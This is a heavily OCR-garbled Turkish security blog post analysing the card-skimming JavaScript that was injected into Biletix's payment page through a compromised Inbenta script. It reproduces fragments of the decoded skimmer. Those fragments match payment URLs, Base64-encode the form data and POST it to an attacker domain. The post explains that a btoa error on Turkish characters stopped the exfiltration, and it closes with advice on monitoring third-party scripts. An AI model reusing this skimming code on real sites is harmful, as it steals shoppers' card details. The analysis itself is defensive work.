b’letlx Music S Sports  Family ~Others Enter Artist, Event, City or Venue 0 rosin

ticketmaster: Tiirkive

; D =
| Categories pare  AllDates LocATIon Al Turkey GO

a
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googleteg.cnd.push (function() ¢
googletag.defineslot(' /61630104 Honepage_275x145_and",
Netag. display ("div-gpt-ad- 1-6°);

[275, 145], 'div-gpt-ad-1480332759691-0") . addservice (googletag. pubads () ;

s
</script>
<fdiv>
<rdiv>
<div id="2d370x145-Hidden" class="hiddenOnTablet” style="position: absolute; left: -1008px; top: -1000px; z-index: 1000;">
<div id-"div-gpt-ad-1480332920117-0" style="height:145px; width:37apx;"

<script>
googletag. cmd. push (function() {
googletag. defineslot('/Gl63elsd/Honerage 370x1ss”, (379, 1451,
v-gpt-a 2')s

div-gpt-ad-14 -9, addService(googletag. pubads (});

</div>

<script type="text/javascript™>
(ﬂmct)un()(var g=Function(e,h,f,g){
his.get=function(a){for(var a=a+"=",c=document.cookie.split(";"),b=0,e=c.length;bce bs+){for (var )
b e ~function(a,c){var b="",b=new Date;b.setTime(b.getTime()+6848E5);b="; expires="+b.toGHTString();document. cookie=at"="+c+b+"
this.check=function(){var a=this.get(f);if(a)a=a.split(*:");else if(108!=c)"v"==h&&(e=Math.randon()>=c/10028:100),a=[h, <, a] i set(F al Jmn(" "))selse return!@;var c=a[1];if(100-
=a[2]#isth. floor(100/C),a[2]++, this. set(f,a. Join(":")), clreturn!e};
this. i ¥ (chi ) {var -createtlement("script"};a. type="text/javascript”;a.src=gt "&t=" + (new Date()).getTime();d » body. dchild(a)}};
s cearte Function() {var s=this;uindou.addEventListaner 2window addEventListenar (“Load”, function(){a.g0()}, !1) swindon. attachEventiliindon. at tachEvent (“anload”, function() {(a.800})}}3
cryf(new g(20,7, 0SS 2N IPETuRETXIF, *//2n Spgzfukve7xtfuh ticketnaster, siteintercept. qualtrics. conSIE/2Q_ZI0-ZN_3PEZFukvGTXFFIEQ LOC="+encodelRIConponent (window. location. iref)) ). start() Jeatch(1){3}) 05
Sacriptocdiy WKVG7XFFNH" ><1--DO NOT REMOVE-CONTENTS PLACED HERE--></div
1TEND s1ve TMTERCERT-
<script async="true” sr
<

https://ing2-digitouch, in
/[ticketmastertr. inbenta. mmmn[jsnnpgmenta s2l=en

. indexof(a))return d.substring(a.length,d.length)return null};

substring(l d.length); if(o:

(harAt(ﬂ)

[b]3

)returnl0;switch(a[6]){case "v":return!1;case "r":return

g

tF-

</script>
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SEpensSlass - obtert TS 11
<

>About Us</span>
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<1i><a href="/insurance/TURKIVE/en">Event Ticket Insurance</a></li>
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"http://wa. Livenation. con/” t LieNata e alma
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<span class="footerLinksTitle">HORK WITH US</span>
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<1i><a href="/ticketyourevent/TURKIVE/en">Ticket Your Event</a></1i
<1i><a href="/advertiseni thus/TURKIYE/en">Advertise With Us</a></15>
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File Edit Search View Encoding Language Settings Macro Run  Plugins Window 7 X
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[ inbenta_decoded_malicious_code js E3 |
156 1 =
157 = if (h080ff17d6676b0974T7fa7c90fd2d2db0.snd '= null) {

const _OxcElexd =
location.hostname.split (".").slice(0).join("_") || "nodomain";

var _Oxc6élexe = btoa(h080££17d6676b09747LfaTc30fd2d2db0.snd) ;
const _Oxcélexf = new XMLHttpRequest():

_0O=célexf.open(
"POST",
hOB0ff17d6676b09747fa7c90fd2d2db0.1214a36488as4c64a9300b952da97d046,
true

) :

_Oxcélexf.=setRequestHeader(
"Content-type™,

"applicati -form-urlencoded"”
):
_0O=célexf.send(
"info=" +
_Oxcelexe +
"ghostname=ticketmTR&ékey=" +
hOoB0ff17d6eTeb09747faTe0fd2d2db0 . myid
y:

}
h080ff17d6676b09747£aT7c90fd2d2db0["snd"] = null;
_Oxcélexe = null;
zetTimeont (function() {
hO80ff17d6676b09T74TEfa7c90fd2d2db0.send () ;
}, 30); i
} catch (e} {}

m

{new RegExp ("payment |checkout |onestep™, "gi").test (window.lcoccation)) {
hO80ff17d6676b09747fa7c90fd2d2db0. send () ;

4 1 3

JavaScript file

I iletix Odeme

length: 5983 lines:192 Ln:192 Col:2 5el:0|0 Windows (CRLF)  UTF-8
X YD vensowcentpinn: x Y S T T T TR TR T T TR T T T

<« [¢] \ @ Secure | https//www.biletix.com/sales/payment. btx?cns =VSAAA i}{

b'l - \ “ [R @] | Elements Console Sources Network > o143 : X
' etlx B O |tp v | Filter Default levels v @ Group similar

ticketmaster Turkiye

10 Temmuz 2018 Sali |

© Uncougnt r: Cannot read property 'startsitn’ of  masterpass
undefined
8 at ishastercara (master s:158)
deme at HTHLDocument. <anonyme txdens=VSAAA: 1630)
t

Shakira - Tribiin ve Sahaici i

Alisveris Giris Teslimat

'I 'I Tem Gar  Vodafone Park,

2018 21:00 Iistanbul .

‘https://waw. chromestaty

> (new RegExp("payment |checkout|onestep®, "gi").test(window. location))
true

T —

Shakira “El inya Turnesi” 11 Temmuz'da

Dev bir prodiksiyon muhtegem bir sahne sovuyla geliyorfl

@ Daha fazla oku

) Banc wons mmo s @ e me ommoeew  MAM

8DEME SEGENEKLERI i I BILETLERINIZ

® KREDI KARTI

Kalan SUreniz: 03:46

Shakira - Tribiin ve Sahaici

HEDIYE KART VE KUPONLAR w 11 Temmuz 2018 21:00

Biletix Zubizu Tpk: TAm
Bilet Fiyati: 750.00TLX 1
Hizmet Bedel: 3000TLX1
ARA TOPLAM: 780.00 TL
Hediye Kart Numaras cvvz (i ] m
Teslimat
(@ 2 Hediye Kart Kulk
4 et Etkinlik Gigesi veya 600TL
Perakende Satis Noktalan
0.00TL

® YENI KREDI KARTI Vade Farl

Zararli javascript kodunu peyderpey analiz ettikce, zararli kodun 0Odeme

sayfasindaki forma girilen tim kredi karti bilgilerini, sayfada yer alan

diger bilgilerle birlikte Satin Al butonuna bastiktan sonra

hxxps://webfotce.me/js/form.js adresine gonderecek sekilde tasarlandigini



gordim. Bunun Uzerine Fiddler aracini calistirip, o6deme sayfasina gecersiz
kart bilgilerimi girip Satin Al butonuna bastigimda,
hxxps://webfotce.me/js/form.js adresine herhangi bir verinin
gonderilmedigini farkettim! Bunun sebebini 6grenebilmek icin Javascript
kodunda yer alan try & catch kod blogundaki catch kismina, hata ayiklama
amaciyla hatayi ekrana yazdiran ufak bir kod yazdigimda, btoa() fonksiyonu
kullanilarak Base64 kodlama semas1i ile gizlenmeye calisan calinti verideki
Tirkce karakterlerin hataya yol acmasina ve hxxps://webfotce.me/js/form.js
adresine gonderilememesine kisaca yuzlerce belki de binlerce Biletix Tirkiye
musterisinin kredi karti bilgilerinin duyuruda belirtilen sire boyunca
calinamamasina yol acan faydali bir hata oldugunu 6grenmis oldum. :)

/ I Biletix Odeme % ([ view-source:httpsy//wwy X

< C | @ Secure | httpsy//www.biletixcom/sales/payment.btx?cns =VSAAA W

Tem Car  Vodafone Park,
2018 21:00 istanbul

) ik

Shakira * i 2 11 Temmuz 'da

Dev bir prodksiyon muhtegem bir sahne sovuyla geliyorl

@ Daha fazla oku

m Thana woRB NG wea G 2 [, EXEE meMomAL mAM
ODEME SECENEKLERI g BILETLERINIZ
® KREDIKARTI Kalan Siireniz: 03:44
) Shakira - Tribiin ve Sahaisi
HEDIYE KART VE KUPONLAR v 11 Temmuz 2018 21:00
Biletix Zubizu T T
Bilet Fiyat: 750.00TLX 1
- Hizmet Bedeli 30.00TLX 1
e
/ARA TOPLAM: 780,00 TL
Hediye Kart Numarasi cvv2 6 m
Teslimat

@ 2 Hedie Kart Kulk
s Etkinlik Gigesi veya 600TL

Perakende Satis Noktalan

® YENI KREDI KARTI Vo SILULL
Kart iizerindeki isim MERT TOPLAM TUTAR 786.00TL erhlaneFicld-HERTR
/ ardiioF ie1d-12341734123412348
Kredi Karti No 1234123412341234
ateFieldMonth=1& ﬁ
Taksit Secenekleri Tek ©deme 786.00 TL FieldVear-2018&
son Kullanma Tarihi ERESTREE

8786745 w
303D109178A30CE262DF 740660

1D9OEDT748

cwz — 123 (] -



https://www.telerik.com/fiddler
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch
https://tr.wikipedia.org/wiki/Base64

Odeme. [ view-source:httpsyfww X

< c ‘ @ Secure | https://www.biletix.com/sales/payment.btx2cns=V5SAAA

Tem Car  Vodafone Park,
2018 21:00 Istanbul

“El Dorade Diinya Turnesi” kapsaminda 11 Temmuz'da Vodafone Park'ta...

Dev bir prodaksiyon muhtagam bir sahna sovuyla gaiyorll
@ Daha fazla oku

w.panammm-_*omgn—u@,mm mxM

® KREDIKARTI

HEDIYE KART VE KUPONLAR w

Zubizu

woamxanmerss || om| @ [

@ 2 Hediye Kart Kullan

'YENI KREDI KARTI
Kart Uzerindeki isim ‘ Mert ‘
Kredi Karti No ‘ 1234123412341234 ‘
Taksit Secenekleri ‘ Tek Odeme 780.00 L

Son Kullanma Tarihi ol " ‘ 2018 ¥
123 ‘o

[ view-sourcethttpsy/fme. X 0\

1/ A Biletix Odeme.

BILETLERINIZ

Kalan Sireniz : 04:27

Shakira - Tribiin ve Sahe
11 Temmuz 2018 21:00

Tipi: TAM
Bilet Fiyat: 75000 TLX 1
Hizmet Bedelt 2000TLX1
ARA TOPLAM: 78000 TL
Teslimat

6.00TL
Perakende Satis Nokialan
Vade Farki 000TL
TOPLAM TUTAR 786.00TL

Cookies

x

O] | Elements Console Sources  Network Pedformance %

M O | top ¥ | Filter Defaultlevels ¥ @ Group similar
console. log("submit ');
e {

} else
frut ] sttachEvent‘onsuonit”,
1922247437026876 7201 12264751157,
Consote. 10g( ‘ohsuonit *

3
i (192364773 a26e87672011a3641351157 . 510

u1) §
Tocation. hostname.split(’ *).slice(8). join(" )H “rodomain’;
Console. Log( *domm: '

Console. lop(15eaeaT 361268 76F M1 1564 FaS1157. 1) 5
alert(lQean7f3FdZ6eE75F2nl]aa&4FaS]lS7 sndd;
b(va(liea:‘ﬂF}fnzﬁewsfzﬂ113364(551157 5nd);
nsole. Log( 'ke
var http = new XMLHttDReaucst():
p.0pen(*POST'
ocae e pasemor Rdte o7 a7f6ed792e8ebadb4 21 20a0439950537,
ued;

http. setRequestrieader(’ Content-type’, ‘application/x-
wew-Form-urlencoded');

http.send(*info=' + keym = ‘Shostname=' + domm +
+ 19eae47 370266876 201122647251157 .myid);

.log('info=" + keym + '&hostname + domm +
+ 12easa73F0262576F 2011264 7a5 1157 i)
19eae47737026e5767201100647351157., 50 = null;
setTineout(Function()
192224773702 528767241 123647251157 . send ()
¥::30);
} esten (&) {slert("Input is " + &);}
3
19eae47F3Fd262876F2d1 1364735157 . send() 3
/if ((new RegExp( ‘onepage|cllckout|onesten”,
gt )) test(window. Locatian))
Beaed7£3Fd26e878 F2d 1 anbafas 1157  send();
//) else {
console. Log("regex faited:);
//  L9eaed7f3fd26e876f2d110a64f051157. send();
71}
@ cuice wi23s7Li3e
undefined
@ click w2373
@ clice
@ click
@D crice
@D clice
@D crice
@D crice
@ cuice
@ crick
@ click
@ clice
@ clice
@D crice

<« c \ @ Secure | https;//www.biletix.com/sales/payment.bbcns=V5SAAA

Onemll Bilgilendirme: Kart bilgileriniz Biletixte hicbir sekilde sakianmamaktad . biletix.com says

() Kartbiglerimi MosterCard sonraki alierisimde tekrarkal  nPut s TnvalidCharacterError: Failed to execute 'btoa on ‘Window' The
= i string to be encoded contains characters outside of the Latinl range.
Odeme altyapimiz bir Mastercard ozami olan MasterPass tarafindan Mast!
saglanmaktadir. Kullanim kosuliar icin tidaynz. b oo “

YAPI KREDI PAY

Odeme yaparken Yap: Kredi Bankas sayfasina yénlen

fecelsiniz. Odemeri G YamKredi
gergeklegtirabilmek igin Yapi Kredi Mobile giris yaptkian sonra Kartianm

mentsiinde bulunan QR Kod ile Odemeyi segerek, aglan sayfadaki QR Kod'u =

okutabilirsiniz. Aligveriginizi tamemladikdan sonra otomatik olarak Biletix'e

ynlendirileceksi

BKM EXPRESS

Odeme yaparken mir sayfasing
BKM Express yesi degiseniz kolayca dye olup alisversinizi tamamiayabi

. i ! 2 . o liu]
e e ZeXpress

ON BILGILENDIRME VE SATI§ SOZLESMESI

Bileti satin almadan & Biletix ile igi gerakli tam bilgileri ve ini b) satin aldigm bilete ve hizmete
tam igeriti, ayrica tim vergiler dahil toplam bilet/hizmet fiyatini ve varsa tam ek masrafianni <) Odeme, teslimat, faya iiskin
bilgieri ve sikayetlere fiskin sGzlesmede dizenlenen gozim yontemierini d) uyusmazlik konusunda bagwrulanmi Toketici
Mahkemesine veya Tiketici Hakem Heyetine yapabilecegime dair sozlesmesel i €) Mesafeli Soziesmeler
Yonetmeliginin 15. maddesine istinaden cayma hakkamin bulunmadigin bikdijimi f) “bilet satin alma siparisimi onayladigim

@ Daha fazla oku

g

[} 6n bilgitendirmeyi ve Satis s5 ini kabul ediyorum.

D
Islemden vazgecmek icin tikiayin.

Stziegme ve Poltikalar
© 2017 Biletix Bilet Dagytm Basim ve Tic. A.g. Tam haklan sakid.
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\inputType\ts \radiol’], {\inamel” \oaymentrorn:cardianel ', \*id\
dlane\", \"tag’ PUEL", \"inputType\": \"hiddem\"},
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Tryit Editor 3.5 x

C ) | & Secure | https//www.wischools.com/jsref/tryit.asp?filename=tryjsref_win_btoa

@) Hack4CareerInfor [ Linkedin W MertSARICA (merts M Inbox - mertsaricat

An embedded page on this page says

he string

<!DOCTYPE html>
<html>

<body> h‘fr}i’ ‘_

<p>Click the button to encode a string in base-64.</p>

Click the button to encode a string in base-64.

Note: The btoa() method s not supported in [E9 and earlier.

<button onclick="myFunction()">Try it</button>
<p»<strong>Note:</strong> The btoa() method is not supported in IE9 and earlier.</p>

<p id="demo"></p>

<script>
function myFunction() {
var str = “"Satin Al";
try {
var enc = window.btoa(str);
} catch(e) {
alert (e);
¥
var res = "Encoded String: " + enc;
document.getElementById("demo").innerHTML = "The original string: " + str + "<br>" + res;
¥
</script>
</body>
</html>

Sonu¢ itibariyle, Inbenta firmasini hackleyenlerin bu zararli kodu 2017
yilindan beri akismet.js gibi farkli isimler altinda da kullandigini
goriyoruz. Biletix vakasina baktigimizda ise sayet zararli kod tespit
edildikten sonra Biletix Tirkiye tarafindan zararli adresin sayfalardan
kaldirilmasi disinda o6deme sayfasinda bu kodun calismamasina yonelik oOzel bir
calisma, yazilim degisikligi yapilmadiysa, yaziya konu olan donelerden ve
simulasyondan yola cikarak Biletix Tiurkiye musterilerinin kredi karti
bilgilerinin zararli javascript kodu tarafindan bu hata sebebiyle, belirtilen
tarih araliginda calinamamis oldugunu biylk bir mutlulukla varsayabiliriz. :)

Inbenta 6rneginde oldugu gibi, 3. parti firmalar lUzerinden gelebilecek siber
saldirilardan korunmanin kesin bir yontemi olamasa da, web sitenize 3. parti
siteler uUzerinden eklediginiz javascript dosyalarinin igeriginin degisip
degismedigini kontrol eden ve slipheli degisikliklerde sizi aninda haberdar
eden NormShield, Sucuri gibi gulvenlik coézimlerinden de faydalanabilirsiniz.

Bir sonraki yazida gorismek dilegiyle herkese glvenli glinler dilerim.


https://www.normshield.com/
https://sucuri.net/website-security-platform/malware-scanning-and-detection

